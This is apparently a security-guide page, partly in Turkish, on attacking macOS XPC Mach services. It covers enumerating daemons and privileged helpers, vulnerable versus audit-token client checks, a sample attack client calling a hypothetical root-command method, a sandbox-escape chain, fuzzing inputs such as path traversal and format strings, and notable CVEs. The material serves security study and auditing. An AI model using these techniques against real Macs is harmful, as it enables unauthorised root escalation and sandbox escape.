macOS XPC Mach Services İstismarı

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XPC (Süreçler Arası İletişim) macOS’ta birincil IPC mekanizmasıdır. Sistem daemon’ları launchd ile kaydedilmiş adlandırılmış portlar olan Mach services’i açığa çıkarır; diğer süreçler bunlara NSXPCConnection ile bağlanabilir.

Her MachServices anahtarına sahip bir LaunchDaemon veya LaunchAgent plist’i bir veya daha fazla adlandırılmış Mach portu kaydeder. Bunlar sistem çapında XPC uç noktalarıdır ve herhangi bir süreç bunlara bağlanmayı deneyebilir.

Warning

XPC Mach services are the single largest local privilege escalation attack surface on macOS. Most local root exploits in recent years went through vulnerable XPC services in LaunchDaemons. Every exposed method in a root daemon is a potential escalation vector.

Mimari

Client Process (user context)
↓ NSXPCConnection / xpc_connection_create_mach_service()
↓ Mach message via launchd
Daemon Process (root context)
↓ Receives XPC message
↓ (Should verify client identity / entitlements)
↓ Performs privileged operation

Enumeration

Mach Services ile Daemons Bulma

# Find all LaunchDaemons with MachServices
find /Library/LaunchDaemons /System/Library/LaunchDaemons -name "*.plist" -exec sh -c '
plutil -p "{}" 2>/dev/null | grep -q "MachServices" && echo "{}"
' \; 2>/dev/null

# List active Mach services
sudo launchctl dumpstate 2>/dev/null | grep -E "name = " | sort -u | head -50

# List all launchd services
launchctl list

# Check a specific daemon's Mach services
plutil -p /Library/LaunchDaemons/com.example.daemon.plist 2>/dev/null

# Using the scanner
sqlite3 /tmp/executables.db "
SELECT e.path, e.privileged, e.isDaemon
FROM executables e
WHERE e.isDaemon = 1
ORDER BY e.privileged DESC
LIMIT 50;"

XPC Arayüzlerini Listeleme

Bir daemon’ı belirledikten sonra, XPC arayüzünü tersine mühendislikle analiz edin:

# Find the protocol definition in the binary
strings /path/to/daemon | grep -i "protocol\|interface\|xpc\|method"

# Use class-dump to extract ObjC protocol definitions
class-dump /path/to/daemon | grep -A20 "@protocol"

# Check for XPC service bundles inside app bundles
find /Applications -path "*/XPCServices/*.xpc" 2>/dev/null

XPC İstemci Doğrulama Güvenlik Açıkları

XPC servislerindeki en yaygın güvenlik açığı sınıfı yetersiz istemci doğrulamasıdır. daemon şunu doğrulamalıdır:

  1. Bağlanan sürecin Code signature
  2. Bağlanan sürecin Entitlements
  3. Bağlanan sürecin Audit token (PID değil; yeniden kullanılabilir)

Güvenliğe Açık Desen: Doğrulama Yok

// VULNERABLE — daemon accepts any connection
- (BOOL)listener:(NSXPCListener *)listener
shouldAcceptNewConnection:(NSXPCConnection *)newConnection {
newConnection.exportedInterface = [NSXPCInterface interfaceWithProtocol:@protocol(MyProtocol)];
newConnection.exportedObject = self;
[newConnection resume];
return YES; // No verification!
}

Kırılgan Desen: PID-Based Verification (Race Condition)

// VULNERABLE — PID can be reused between check and use
- (BOOL)listener:(NSXPCListener *)listener
shouldAcceptNewConnection:(NSXPCConnection *)newConnection {
pid_t pid = newConnection.processIdentifier;
// Attacker can win race: spawn legitimate process → get PID → kill it → exploit process reuses PID
if ([self isAuthorizedPID:pid]) {
[newConnection resume];
return YES;
}
return NO;
}

Güvenli Desen: Audit Token Doğrulama

// SECURE — Uses audit token which cannot be spoofed
- (BOOL)listener:(NSXPCListener *)listener
shouldAcceptNewConnection:(NSXPCConnection *)newConnection {
audit_token_t token = newConnection.auditToken;

// Verify code signature via audit token
SecCodeRef code = NULL;
NSDictionary *attributes = @{(__bridge NSString *)kSecGuestAttributeAudit:
[NSData dataWithBytes:&token length:sizeof(token)]};
SecCodeCopyGuestWithAttributes(NULL, (__bridge CFDictionaryRef)attributes,
kSecCSDefaultFlags, &code);

// Verify the signature matches expected signing identity
SecRequirementRef requirement = NULL;
SecRequirementCreateWithString(
CFSTR("identifier \"com.apple.expected\" and anchor apple"),
kSecCSDefaultFlags, &requirement);

OSStatus status = SecCodeCheckValidity(code, kSecCSDefaultFlags, requirement);
if (status == errSecSuccess) {
[newConnection resume];
return YES;
}
return NO;
}

Saldırı: Korumasız XPC Servislerine Bağlanma

// Minimal XPC client — connect to a LaunchDaemon's Mach service
#import <Foundation/Foundation.h>

@protocol VulnDaemonProtocol
- (void)runCommandAsRoot:(NSString *)command withReply:(void (^)(NSString *))reply;
@end

int main(void) {
@autoreleasepool {
NSXPCConnection *conn = [[NSXPCConnection alloc]
initWithMachServiceName:@"com.example.vulndaemon"
options:NSXPCConnectionPrivileged];

conn.remoteObjectInterface = [NSXPCInterface
interfaceWithProtocol:@protocol(VulnDaemonProtocol)];

[conn resume];

id<VulnDaemonProtocol> proxy = [conn remoteObjectProxyWithErrorHandler:^(NSError *error) {
NSLog(@"Connection error: %@", error);
}];

// If the daemon doesn't verify our identity, this works:
[proxy runCommandAsRoot:@"id" withReply:^(NSString *result) {
NSLog(@"Result: %@", result);
// Output: uid=0(root)
}];

[[NSRunLoop currentRunLoop] run];
}
}

Saldırı: XPC Object Deserialization

Karmaşık nesneleri (NSSecureCoding uyumlu) kabul eden XPC servisleri deserialization attacks açısından savunmasız olabilir:

// If the daemon accepts NSObject subclasses via XPC:
// An attacker can send a crafted object that triggers:
// 1. Type confusion (wrong class instantiated)
// 2. Path traversal (filename objects with ../)
// 3. Format string bugs (string objects as format arguments)
// 4. Integer overflow (large numeric values)

Mach-Lookup Sandbox Exceptions

How Exceptions Enable Sandbox Escape

Sandboxed uygulamalar normalde yalnızca kendi XPC hizmetleriyle iletişim kurabilir. Ancak, mach-lookup exceptions sistem genelindeki hizmetlere ulaşmayı sağlar:

<!-- Entitlement granting mach-lookup exception -->
<key>com.apple.security.temporary-exception.mach-lookup.global-name</key>
<array>
<string>com.apple.system.opendirectoryd.api</string>
<string>com.apple.SecurityServer</string>
<string>com.apple.CoreServices.coreservicesd</string>
</array>

Geniş İstisnaları Olan Uygulamaları Bulma

# Find sandboxed apps with mach-lookup exceptions
find /Applications -name "*.app" -exec sh -c '
binary="$1/Contents/MacOS/$(defaults read "$1/Contents/Info.plist" CFBundleExecutable 2>/dev/null)"
[ -f "$binary" ] && {
ents=$(codesign -d --entitlements - "$binary" 2>&1)
echo "$ents" | grep -q "mach-lookup" && {
echo "=== $(basename "$1") ==="
echo "$ents" | grep -B1 -A10 "mach-lookup"
}
}
' _ {} \; 2>/dev/null

Sandbox Escape Chain

1. Compromise sandboxed app (e.g., via renderer exploit in browser/email)
2. Enumerate mach-lookup exceptions from entitlements
3. Connect to each reachable system daemon
4. Fuzz the daemon's XPC interface for vulnerabilities
5. Exploit a daemon bug → code execution outside the sandbox
6. Escalate from daemon's privilege level (often root)

Ayrıcalıklı Yardımcı Araçlar (SMJobBless)

Nasıl Çalışırlar

SMJobBless launchd aracılığıyla root olarak çalışan ayrıcalıklı bir yardımcı kurar. Yardımcı, ebeveyn uygulamasıyla XPC üzerinden iletişim kurar:

App (user context) ←→ XPC ←→ Helper (root via launchd)

Yaygın Zafiyet: Zayıf Yetkilendirme

// Many helpers check authorization but:
// 1. Don't verify WHO is connecting (any process can connect)
// 2. Use rights that any admin can obtain
// 3. Cache authorization decisions

// VULNERABLE helper pattern:
- (void)performPrivilegedAction:(NSString *)action
authorization:(NSData *)authData
withReply:(void (^)(BOOL))reply {
AuthorizationRef auth;
AuthorizationCreateFromExternalForm(
(AuthorizationExternalForm *)authData.bytes, &auth);

// Only checks if caller has generic admin right
// But doesn't verify the caller is the app that installed the helper!
AuthorizationItem item = {kAuthorizationRightExecute, 0, NULL, 0};
AuthorizationRights rights = {1, &item};

if (AuthorizationCopyRights(auth, &rights, NULL,
kAuthorizationFlagDefaults, NULL) == errAuthorizationSuccess) {
// Performs action as root...
reply(YES);
}
}

Zayıf Yardımcıları Sömürme

# 1. Find installed privileged helpers
ls /Library/PrivilegedHelperTools/

# 2. Find their LaunchDaemon plists
ls /Library/LaunchDaemons/ | grep -v "com.apple"

# 3. Check the helper's XPC interface
class-dump /Library/PrivilegedHelperTools/com.example.helper | grep -A20 "@protocol"

# 4. Check if the parent app properly verifies connections
strings /Library/PrivilegedHelperTools/com.example.helper | grep -i "codesign\|requirement\|anchor\|audit"
# If no code-signing verification strings → likely vulnerable

XPC Fuzzing

# Basic XPC fuzzing approach:

# 1. Identify the target service and protocol
plutil -p /Library/LaunchDaemons/com.example.daemon.plist
class-dump /path/to/daemon

# 2. For each exposed method, test:
#    - NULL arguments
#    - Empty strings
#    - Very long strings (buffer overflow)
#    - Path traversal strings (../../etc/passwd)
#    - Format strings (%n%n%n%n)
#    - Integer boundary values (INT_MAX, -1, 0)
#    - Unexpected object types (send NSDictionary where NSString expected)

# 3. Monitor for crashes
log stream --predicate 'process == "daemon-name" AND (eventMessage CONTAINS "crash" OR eventMessage CONTAINS "fault")'

Gerçek Dünya CVE’leri

CVEAçıklama
CVE-2023-41993XPC servisi deserializasyon zafiyeti
CVE-2022-22616XPC servisinin kötüye kullanımıyla Gatekeeper atlatma
CVE-2021-30657Sysmond XPC ayrıcalık yükseltmesi
CVE-2020-9839system daemon’daki XPC yarış koşulu
CVE-2019-8802Ayrıcalıklı helper aracında istemci doğrulamasının eksik olması
CVE-2023-32369Migraine — systemmigrationd XPC üzerinden SIP atlatma
CVE-2022-26712PackageKit XPC root ayrıcalık yükseltmesi

Enumeration Script

#!/bin/bash
echo "=== XPC Mach Services Security Audit ==="

echo -e "\n[*] Third-party privileged helpers:"
for helper in /Library/PrivilegedHelperTools/*; do
[ -f "$helper" ] || continue
echo "  $helper"
codesign -dvv "$helper" 2>&1 | grep "Authority\|TeamIdentifier" | sed 's/^/    /'
done

echo -e "\n[*] Third-party LaunchDaemons with MachServices:"
for plist in /Library/LaunchDaemons/*.plist; do
plutil -p "$plist" 2>/dev/null | grep -q "MachServices" && {
echo "  $plist"
plutil -p "$plist" | grep -A5 "MachServices" | sed 's/^/    /'
}
done

echo -e "\n[*] User LaunchAgents with MachServices:"
for plist in ~/Library/LaunchAgents/*.plist; do
plutil -p "$plist" 2>/dev/null | grep -q "MachServices" && {
echo "  $plist"
plutil -p "$plist" | grep -A5 "MachServices" | sed 's/^/    /'
}
done

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